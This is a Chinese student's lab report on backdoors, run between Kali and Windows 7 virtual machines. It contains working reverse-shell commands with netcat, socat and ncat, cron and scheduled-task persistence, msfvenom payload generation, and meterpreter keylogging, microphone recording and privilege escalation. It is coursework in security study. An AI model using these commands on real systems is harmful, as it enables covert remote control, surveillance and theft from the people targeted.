目录 —— 后门原理与实践

1 后门原理与实践说明

1.1 实验任务

  • 使用netcat获取主机操作Shell,cron启动(0.5分)
  • 使用socat获取主机操作Shell, 任务计划启动(0.5分)
  • 使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell(0.5分)
  • 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权(2分)
  • 可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell(1分)

1.2 基础知识问答

>>>> 什么是后门?
  后门就是不经过正常认证流程而访问系统的通道。在软件的开发阶段,程序员常常会在软件内创建后门程序以便可以修改程序设计中的缺陷;但若在发布软件之前没有删除后门程序,后门就成了安全风险,容易被黑客当成漏洞进行攻击。
>>>> 近年来的一些案例

(1)例举你能想到的一个后门进入到你系统中的可能方式?

  • 在网上下载资料的时候,若下载的应用程序恰好包含后门程序,那么后门程序会在安装的时候回神不知鬼不觉地潜入电脑中;在非官方网站上下载软件的时候,可能会被恶意捆绑下载安装一些隐藏的可执行文件(一般不会让用户看到);攻击者直接将恶意程序发送给用户,诱导用户打开;在浏览网页的时候,若该网站恰好是挂马网站,那么网页就会自动后台下载木马程序,并自动安装生成可执行文件,后门进入系统留下安全隐患。

(2)例举你知道的后门如何启动起来(win及linux)的方式?

  • Windows:远程木马,开机自启动,定时任务等
  • Linux:利用cron定时启动后门,远程后门等

参考资料:window服务端常见后门技术Linux后门整理合集

(3)Meterpreter有哪些给你映像深刻的功能?

  • Meterpreter的命令非常多,功能也很强大,它的作用就是渗透攻击,其中生成后门程序并在攻击机与目标机之间建立有效双向链接的功能给我留下很深印象,后门的所有操作都是在这项操作成功的基础上完成的~

(4)如何发现自己有系统有没有被安装后门?

  • 杀毒软件查杀病毒、修复漏洞,实时监控电脑系统
  • 开启电脑防火墙,检查是否有异常开放的端口
  • 经常检查注册表项中有无可以程序

linux系统检查方法参考资料:浅谈linux被入侵后要如何检查后门

1.3 常用后门工具

(1)netcat

>>>> ncat简介

  • netcat,又名nc、ncat,是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用
  • Linux系统一般自带ncat,通过命令man netcatman nc可查看其使用说明
  • Windows系统不带ncat,需要自行下载ncat.rar解压即可使用
  • Mac系统同样自带ncat,使用命令man nc,查看其使用说明

>>>> ncat使用

1.Win获得Linux Shell(win7→kali-linux)

  • windows 打开监听:c:\your_nc_dir>ncat.exe -l -p 8888
  • Linux反弹连接win:root@KaliYL:/var/www/html# nc 192.168.20.175 8888 -e /bin/sh
  • windows下获得一个linux shell,可运行任何指令,如ls
  • win7在cmd中ipconfig查看本机ip(172.20.10.2)

  • win7进入ncat文件夹,ncat.exe -l -p 5223开始监听

  • 在kali中反弹连接win7,ncat 172.20.10.2 5223 -e /bin/sh(连接win7的ip和端口,-e选项执行shell程序)

  • 回到win7中,已经获取到了控制权,输入kali的指令ls可以看到卡里的文件




2.Linux获得Win Shell(kali-linux→win7)

  • Linux运行监听指令:root@KaliYL:/var/www/html# nc -l -p 8888
  • Windows反弹连接Linux:c:\your_nc_dir>ncat.exe -e cmd.exe ip_of_linux 8888
  • Linux下看到Windows的命令提示
  • kali在终端中ifconfig查看本机ip(172.20.10.13)

  • kali打开监听nc -l -p 5223

  • 在win7的cmd中反弹连接kali(要进入ncat文件夹),ncat.exe -e cmd.exe 172.20.10.13 5223

  • 回到kali,已经成功获得win7的控制权,输入windows命令dir可以查看win7文件夹




3.其他

  • 由于我的电脑是windows系统,因此只操作了windows与linux之间互相获取控制权的实验
  • 有关于Mac系统与win和linux的操作可以查看老师的实验指导





(2)ncat扩展

>>>> nc传输数据

  • win7监听端口5223:ncat.exe -l 5223
  • kali反弹连接到win7的5223端口,nc 172.20.10.2 5223
  • 连接成功,可以互传数据了

>>>> nc传送文件

  • 先在kali端新建一个文件file.in,输入内容

  • win7监听端口5223:ncat.exe -l 5223 > file.out
  • kali反弹连接到win7的5223端口,nc 172.20.10.2 5223 < file.in

  • 连接成功,win7可以接到kali发来的文件






(3)Meterpreter

  • 生成后门的平台有很多,例如:

    • intersect
    • Metaspolit的msfvenom指令
    • Veil-evasion
  • 后门程序Meterpreter就是使用msfenom指令生成的后门可执行文件

  • Meterpreter参数说明
    • -p 使用的payload。payload翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode.
    • -x 使用的可执行文件模板,payload(shellcode)就写入到这个可执行文件中。
    • -e 使用的编码器,用于对shellcode变形,为了免杀。
    • -i 编码器的迭代次数。如上即使用该编码器编码5次。
    • -b badchar是payload中需要去除的字符。
    • LHOST 是反弹回连的IP
    • LPORT 是回连的端口
    • -f 生成文件的类型
    • >输出到哪个文件

参考资料:Meterpreter命令详解

返回目录

2 实验内容

2.1 使用netcat获取主机操作Shell,cron启动

  • 说明:任务一是连着校网做的,IP地址与其他任务中的不同

(1)在kali中使用命令man cron了解cron

  • 了解到cron是Linux下的定时任务,每分钟执行一次,检查crontab中所有存储的命令(可提前预设配置好),根据不同的命令来执行不同的操作
  • 本实验中正是通过改变crontab中的指令使cron定时执行预设好的命令

(2)打开win7虚拟机,先关闭防火墙以及电脑管家等杀毒软件,构建环境

(3)打开win7虚拟机的cmd,输入ipconfig查看主机ip地址

(4)在win7虚拟机的cmd中输入监听命令ncat.exe -l -p 5223

(5)回到kali中,在终端输入crontab -e指令打开文件,编辑一条定时任务

  • 在文件的最后一行添加命令11 * * * * /bin/netcat 10.1.1.117 5223 -e /bin/sh
  • 这条命令中表示每小时的第11分钟都会反弹连接到win7虚拟机的5223端口
  • 其实参数<11>代表第11分钟,<10.1.1.117>是win7虚拟机的ip,<5223>是上一步中开启监听的端口
  • 设置到第11分钟的原因是想要尽快看到指令执行效果,此时可以看到时间是10分(右下角)

(6)回到win7虚拟机中,等待到第11分钟,到时间后在cmd中输入ls,可以看到已经获取到了kali的控制权

  • win7虚拟机cmd中

  • kali终端中(右下角时间为第11分钟)

返回目录

2.2 使用socat获取主机操作Shell, 任务计划启动

>>>> socat

socat是一个多功能的网络工具,名字来由是” Socket Cat”,可以看作是netcat的加强版。socat的主要作用就是在两个数据流之间建立一个双向通道,端点可以是文件,也可以是端口或某个进程;并且支持众多协议和链接方式:ip, tcp, udp, ipv6, pipe, exec, system, open, proxy, openssl, socket等。socat具有许多强大的功能,例如:端口连接、端口侦听、收发文件、传递shell、端口转发、端口扫描等。
socat格式:socat [参数] 端点1[选项] 端点2[选项]
更多使用方法参考资料:netcat替代品socat

(1)在win7虚拟机中搜索打开计算机管理任务计划程序创建任务

(2)常规任务名称

(3)触发器新建

  • 开始任务一栏选择工作站锁定时

(4)操作新建

  • 脚本或程序一栏选择socat.exe所在路径,添加参数一栏填写tcp-listen:5223 exec:cmd.exe,pty,stderr
  • 参数的目的是把cmd.exe绑定到5223端口,同时把cmd.exe的stderr重定向到stdout上

(5)设置完后确认,win+L使计算机锁定,重新打开后可以看到已经开始启动了

(6)回到kali,在终端输入命令socat - tcp:172.20.10.2:5223,即可获取win7的shell

返回目录

2.3 使用MSF meterpreter生成可执行文件,利用ncat传送到主机并运行获取主机Shell

(1)在kali上生成后门程序5223_backdoor.exe

  • 终端输入msfvenom -p windows/meterpreter/reverse_tcp LHOST=172.20.10.13 LPORT=5223 -f exe > 5223_backdoor.exe
  • 此处填的LHOST是kali的IP:172.20.10.13,LPORT填监听端口:5223

(2)将生成的后门程序通过ncat传送到win7上去

  • 先win7:ncat.exe -l 5223 > 20165223_backdoor.exe,进入接收文件状态

  • 再kali:nc 172.20.10.2 5223 < 20165223_backdoor.exe,此时IP为win7的IP,传送文件

  • 接收成功

(3)kali使用命令msfconsole进入MSF控制台

  • 等待一下就出现画面啦,是一只小兔叽(每一次进入画面都会不一样~~~

  • 然后在MSF中进行下面一系列操作

    • use exploit/multi/handler,使用监听模块,设置payload
    • set payload windows/meterpreter/reverse_tcp,使用和生成后门程序时相同的payload
    • set LHOST 172.20.10.13,这里用的是kali的IP,和生成后门程序时指定的IP相同
    • set LPORT 5223,同样要使用相同的端口

  • 设置完后开始监听,MSF中输入exploit

  • 在win7中双击运行刚刚传过来的后门程序5223_backdoor.exe(或者在cmd中运行)

  • 回到kali可以看到已经获得了win7的控制权啦

  • 试一下win7的指令,成功

返回目录

2.4 使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等,并尝试提权

  • 进入MSF过程与任务三是一样的不多说了,下面是具体的操作

(1)获取目标主机音频

  • 使用命令record_mic可以获得一段音频(持续1秒,路径自动生成)
  • 此命令默认录制默认麦克风录制1秒钟的音频,并将尝试不带精度的参数来播放捕获的音频wav文件

  • 其他参数

    • -h:显示帮助
    • -d :记录的秒数,默认为1秒
    • -F :wav文件路径。默认为 /root/[生成的乱码文字] .wav
    • -p :自动播放捕获的音频,默认为 true

(2)获取目标主机摄像头

  • 使用命令webcam_snap可以使用摄像头进行拍照
  • 此命令为指定的网络摄像头拍摄快照,默认为1,并且默认不使用精确的参数来打开已保存的快照
  • 此命令无法执行因为本机的摄像头坏了,虚拟机里又没有摄像设备,在遇到的问题4中有解释

(3)获取目标主机击键记录

  • 在kali中,keyscan_start开始记录击键内容;到win7的cmd中随意击键;回到kali,keyscan_dump读取击键记录

  • 使用命令screenshot对当前win7屏幕截屏

(4)尝试提权

参考资料:Meterpreter提权详解

  • 使用命令getuid查看当前用户,使用命令getsystem尝试提权

返回目录

3 实验遇到的问题及解决方法

(1)kali系统更新后开机蓝屏问题

  • 在实验过程中看到 kali 提示我要 apt-get update && apt-get upgrade 更新源和系统,结果在重启更新的过程中一直报错,等了二十多分钟都没有更新完,感觉不太对劲就直接重启了,结果进入 kali 一看,蓝屏,一个图标都没有了,大写的惨(…)

  • 一脸懵逼地上网去查了下资料,果然看到有前辈遇到过一样的问题,原因是在安装更新的过程中配置出现问题了,而且还被迫中断,导致系统出现了故障,好在有解决方法,使用命令dpkg --configure -a可以让系统从故障发生时执行的命令开始继续执行,方法如下:

  • 首先重启kali,选择进入Advanced options for Kali GNU/Linux

  • 进入到恢复模式,此时选择进入最新版的recovery Mode

  • 接着在提示输入密码时输入kali的密码(其实不输入也行,会自动接下去的…)
  • 然后就输入命令dpkg --configure -a,回车等着就行啦

  • 一路更新顺利没有再出错,最后全部done后输入reboot重启

  • 熟悉的界面又回来啦 ^_^

(2)任务一中主机无法获得kali的控制权

  • 其实任务一最开始是在电脑主机和kali虚拟机之间尝试的,在实验开始前我关闭了防火墙、杀毒软件等,但还是在反弹连接的过程中出错了,无法连接到kali虚拟机,不知道什么原因emmm。。。

  • 后来换成win7虚拟机,一次就成功了,可能是我主机上还有什么排除病毒的软件在运行吧x

(3)任务三中用MSF meterpreter生成的后门程序在传送到win7的过程中被查杀?

  • 在已经关闭防火墙、杀毒软件,并且生成的后门程序也确认没有问题的情况下
  • 下图是在kali中打开后门程序查看

  • 正常传到win7后,一运行…拒绝服务emmm

  • 检查程序发现…???等等为什么会变成0KB???

  • 赶紧检查了win7的防火墙等发现都关着,上网查资料说是被杀毒软件查杀掉了(黑人问号)
  • 试了几个方法都没能成功,这时突然想起来kali防火墙是不是没有关…
  • 参考了博客Kali之关闭防火墙,将防火墙给关了再重新传一次,果然成功了(。

(4)任务四中使用命令webcam_snap打开摄像头失败

  • 在尝试打开摄像头的时候出现错误

  • 仔细想了一下,我目前用的目标机是win7虚拟机,但是win7虚拟机中是没有图像设备的

  • 于是让win7虚拟机调用主机的摄像头

参考资料:让虚拟机调用主机的摄像头

  • 然而,在打开camera这一步时发现了——主机的摄像头根本就是坏的没法用(好吧X

返回目录

4 实验收获与感想

  • 本次实验还挺好玩的,让我有机会了解到后门的原理,第一次接触了后门的生成与使用,在MSF meterpreter平台下玩得蛮开心的,同时也意识到漏洞、病毒等其实真的很容易入侵我们的计算机,网络上也处处都是陷阱,更提高了我的安全意识。就是在实验过程中碰到了很多电脑配置上的问题,解决的很艰辛 orz 希望下次实验能够顺利一点点吧~(最后放个小人)

返回目录

20165223《网络对抗技术》Exp2 后门原理与实践的更多相关文章

  1. 2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践

    2019-2020-2 20175226 王鹏雲 网络对抗技术 Exp2 后门原理与实践 实验内容 使用netcat获取主机操作Shell,cron启动: 使用socat获取主机操作Shell, 任务 ...

  2. 20155326刘美岑 《网络对抗》Exp2 后门原理与实践

    20155326刘美岑 <网络对抗>Exp2 后门原理与实践 实验内容 (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, 任务计划启 ...

  3. 20155320《网络对抗》Exp2 后门原理与实践

    20155320<网络对抗>Exp2 后门原理与实践 [实验内容] (3.5分) (1)使用netcat获取主机操作Shell,cron启动 (2)使用socat获取主机操作Shell, ...

  4. 20155324《网络对抗》Exp2 后门原理与实践

    20155324<网络对抗>Exp2 后门原理与实践 20155324<网络对抗>Exp2 后门原理与实践 常用后门工具实践 Windows获得Linux Shell 在Win ...

  5. 20155208徐子涵《网络对抗》Exp2 后门原理与实践

    20155208徐子涵<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 答:当我们在非官方网站上下载软件时,后门极有可能会进入我们 ...

  6. 20145236《网络对抗》Exp2 后门原理与实践

    20145236<网络对抗>Exp2 后门原理与实践 目录: 一.基础问题回答 二.常用后门工具实践 2.1 Windows获得Linux Shell 2.2 Linux获得Windows ...

  7. 20155202 张旭《网络对抗》Exp2 后门原理与实践

    20155202 张旭<网络对抗>Exp2 后门原理与实践 基础问题回答 例举你能想到的一个后门进入到你系统中的可能方式? 捆绑在软件中 注入在可执行文件里 注入在office文件的宏里面 ...

  8. 20155218《网络对抗》Exp2 后门原理与实践

    20155218<网络对抗>Exp2 后门原理与实践 常用后门工具实践 1.Windows获得Linux Shell: 在Windows下,先使用ipconfig指令查看本机IP,使用nc ...

  9. 20155227《网络对抗》Exp2 后门原理与实践

    20155227<网络对抗>Exp2 后门原理与实践 基础问题回答 (1)例举你能想到的一个后门进入到你系统中的可能方式? 在非官方网站下载软件时,后门很可能被捆绑在软件中. 攻击者利用欺 ...

  10. 20155232《网络对抗》Exp2 后门原理与实践

    20155232<网络对抗>Exp2 后门原理与实践 问题回答 1.例举你能想到的一个后门进入到你系统中的可能方式? 通过网页上弹出来的软件自动安装 2.例举你知道的后门如何启动起来(wi ...

随机推荐

  1. GraphQL基础篇

    最近参与了一个大型项目,大型项目随着系统业务量的增大,不同的应用和系统共同使用着许多的服务接口API,而随着业务的变化和发展,不同的应用对相同资源的不同使用方法最终会导致需要维护的服务API数量呈现爆 ...

  2. easyui表格排序

    效果:点击DataGrid表格某个头部,进行升序或降序排序当前页: 问题:对应列设置  sortable:true 没有效果,刚开始以为是对应的列对应的数据库的字段类型有问题, 改动代码,使返回到前台 ...

  3. FreeNas搭建踩坑指南(一)

    0x00 背景 最近公司的旧群晖服务器Raid6,因为同时坏了两块硬盘存储池损毁,所以领导决定买了Dell R730自己搭NAS,选来选去最后选了FreeNAS,这里记录一些踩过的坑. 0x01 问题 ...

  4. 一起学Android之GridView

    本文以一个简单的小例子,简述Android开发中GridView的常见应用,仅供学习分享使用. 概述 GiridView是一个表格显示资源的控件,可以在两个可滚动的方向上显示.列表项的资源会通过Lis ...

  5. typescript中的接口

    说到接口:在面向对象的编程中,接口是一种规范的定义,它定义了行为和动作的规范,在程序设计里面,接口起到一种限制和规范的作用.接口定义了某一批类所需要遵守的规范,接口不关心这些类的内部状态数据,也不关心 ...

  6. 【English】五、颜色相关

    一.常见颜色 黑色    black    白色    white    蓝色    blue    橙色    orange    黄色    yellow        灰色    gray   ...

  7. eclipse下解决明明有jar包,却找不到的问题

    首先右键提示缺失jar包的项目,也可能是缺失maven依赖的项目. 右键选择properties. 选择deployment assembly. 将缺少依赖的jar包,add进去.

  8. 解析SQL Server之任务调度

    在前面两篇文章中( 浅谈SQL Server内部运行机制 and 浅谈SQL Server数据内部表现形式 ),我们交流了一些关于SQL Server的一些术语,SQL Sever引擎 与SSMS抽象 ...

  9. windows server 2012 R2 部署AD域服务

    一.部署AD域控制器 首先,我们检查第一台已经安装Windows Server 2012 R2的服务网络的相关配置,确定的服务器IP地址.子网掩码.默认网关的参数如下,由于该服务器既要充当ADDC角色 ...

  10. 中国移动能力开放商店OneNET View数据可视化公测 10分钟轻便生成行业可视化界面

    随着云计算,5G技术,人工智能等底层技术的发展,万物互联时代已经到来,同时带来了海量数据,如何效果好.低成本.短时间的表现据,成为物联网行业从业者和公司的当务之急. OneNET View传统的数据展 ...